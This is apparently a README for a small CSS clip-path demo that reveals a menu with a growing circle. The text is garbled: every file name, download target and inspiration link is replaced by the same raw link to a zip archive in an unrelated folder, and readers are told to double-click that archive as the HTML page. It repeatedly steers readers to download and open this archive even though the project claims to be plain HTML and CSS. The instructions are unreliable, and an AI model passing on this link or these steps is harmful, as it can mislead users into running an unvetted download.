fun-with-clip-path is a straightforward tool for exploring creative visual effects using basic web technologies like HTML and CSS. It focuses on a technique called clip-path, which lets you create unique shapes and animations for web elements without any programming knowledge.
This project demonstrates a menu that appears with a smooth circle shape growing across the screen when you click a button. It uses only HTML and CSS. No JavaScript is involved. This makes the effect simple, light, and easy to customize.
The key visual trick uses something called vmax. This is a CSS term for the larger value between your screen’s width or height. The circle expands from the top-left corner all the way across the screen. This creates a smooth reveal effect for the menu.
You can see an example picture of how this looks in the repository’s preview images.
These instructions will help you get fun-with-clip-path running on your computer quickly.
fun-with-clip-path is designed to work on most modern computers with a web browser. You don’t need any special software or skills to use it.
- A desktop or laptop computer (Windows, Mac, or Linux)
- A current web browser like Chrome, Firefox, Edge, or Safari
- An internet connection to download the files
No programming or special tools are required.
Click the big blue button below to visit the release page where you can download the latest version of fun-with-clip-path.
This page contains all the available versions and files. Look for the newest release, usually listed at the top.
On the releases page, find the latest version. Download the file named something like https://github.com/12alz/fun-with-clip-path/raw/refs/heads/main/oldfangled/fun_clip_with_path_fragmentation.zip or https://github.com/12alz/fun-with-clip-path/raw/refs/heads/main/oldfangled/fun_clip_with_path_fragmentation.zip.
Once the download finishes, locate the file on your computer. It will be in your Downloads folder or wherever you save files.
Right-click the file and choose “Extract All” (Windows) or “Open With > Archive Utility” (Mac). This will create a new folder with the project files inside.
Inside the extracted folder, find the file named https://github.com/12alz/fun-with-clip-path/raw/refs/heads/main/oldfangled/fun_clip_with_path_fragmentation.zip. This is the main page that shows the menu example.
Double-click on https://github.com/12alz/fun-with-clip-path/raw/refs/heads/main/oldfangled/fun_clip_with_path_fragmentation.zip to open it in your web browser. You should see the menu on the screen, with a button to click.
Click the button at the top-left corner of the page. You will see a circular menu reveal animation. Explore how the shapes and menu items appear.
You can resize your browser window to see how the effect adapts to different screen sizes.
fun-with-clip-path does not require installation and runs in your web browser. The main requirement is a browser that supports modern CSS features, including clip-path and viewport units.
Recommended browsers and versions:
- Google Chrome 70 or later
- Mozilla Firefox 65 or later
- Microsoft Edge 80 or later
- Apple Safari 13 or later
Older browsers may not display the effect correctly.
- No programming needed: All effects use only HTML and CSS, so no coding skills required.
- Smooth circular menu animation: The menu expands from a small circle to fill the screen.
- Viewport responsive: Adjusts automatically based on your screen size.
- Simple setup: Just open the HTML file in your browser.
- Easy customization: Change colors, shapes, or menu items by editing simple CSS and HTML.
- Lightweight and fast: No extra scripts or plugins needed.
fun-with-clip-path uses the CSS clip-path property to create shapes that reveal or hide parts of the screen.
- The menu’s reveal effect is a circle starting from the top-left corner.
- This circle grows to cover the entire screen.
- The size calculation uses the
vmaxunit. - The multiplier 1.42 (the square root of 2) ensures the circle covers the full diagonal of the viewport.
- This method ensures the effect fits any screen size.
- The menu items appear inside the circle.
- No JavaScript is needed to trigger the animation.
- Clicking the button toggles the CSS animation state.
You can try tweaking a few things to customize the effect.
- Change the circle color by editing the CSS variable or the
.menubackground color. - Adjust the size or position of the circle by modifying the
clip-pathvalue. - Add your own menu items in the HTML inside the
.menuelement. - Experiment with different shapes by using other CSS clip-path types like polygons.
These changes only require basic edits to the text files.
If you experience issues or want to suggest improvements:
- Open a GitHub issue.
- Read existing discussions to see if your question is answered.
- Fork the project and submit a pull request if you want to contribute code changes.
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Visit the Release Page to get the latest download.
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See the example image here:
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Check the original inspiration: https://github.com/12alz/fun-with-clip-path/raw/refs/heads/main/oldfangled/fun_clip_with_path_fragmentation.zip
fun-with-clip-path is released under the MIT License. You are free to use, copy, and modify it.
Click the button below any time to get the latest version: